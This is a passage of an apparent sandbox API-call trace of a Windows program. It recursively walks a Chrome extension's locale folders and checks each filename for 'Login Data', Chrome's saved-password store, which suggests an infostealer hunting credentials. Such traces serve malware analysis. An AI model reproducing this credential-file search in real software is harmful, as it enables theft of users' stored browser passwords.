Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.579] lstrlenA (lpString="\\") returned 1 [0056.579] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.579] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.579] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.579] lstrlenA (lpString="fil") returned 3 [0056.579] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dc3f8 [0056.579] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.579] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0056.579] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned 132 [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned 132 [0056.579] lstrlenA (lpString="\\*.*") returned 4 [0056.579] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dc508 [0056.579] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0056.579] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*" [0056.579] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.579] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.579] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.579] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.579] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.579] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.579] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.579] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.579] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.579] LocalFree (hMem=0x2dc508) returned 0x0 [0056.579] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.579] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.579] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.579] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.579] lstrlenA (lpString="\\") returned 1 [0056.579] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.579] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.579] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.579] lstrlenA (lpString="fr") returned 2 [0056.579] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.579] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.579] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0056.579] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned 131 [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned 131 [0056.580] lstrlenA (lpString="\\*.*") returned 4 [0056.580] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.580] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0056.580] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*" [0056.580] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.580] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.580] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.580] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.580] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.580] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.580] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.580] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.580] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.580] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.580] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.580] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.580] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0056.580] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0056.580] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.580] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.580] lstrlenA (lpString="\\") returned 1 [0056.580] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.580] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.580] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.580] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.580] lstrlenA (lpString="he") returned 2 [0056.580] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.580] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.580] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0056.580] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.580] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned 131 [0056.580] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned 131 [0056.580] lstrlenA (lpString="\\*.*") returned 4 [0056.580] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.580] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0056.580] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*" [0056.580] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.580] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.580] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.580] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.581] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.581] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.581] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.581] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.581] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.581] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.581] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.581] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.581] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.581] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.581] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.581] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.581] lstrlenA (lpString="\\") returned 1 [0056.581] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.581] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.581] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.581] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.581] lstrlenA (lpString="hi") returned 2 [0056.581] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.581] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.581] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0056.581] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.581] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned 131 [0056.581] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned 131 [0056.581] lstrlenA (lpString="\\*.*") returned 4 [0056.581] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.581] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0056.581] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*" [0056.581] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.581] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.581] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.581] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.581] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.581] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.581] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.581] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.581] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.581] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.581] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.581] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.581] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.581] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.581] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.581] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.581] lstrlenA (lpString="\\") returned 1 [0056.581] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.582] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.582] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 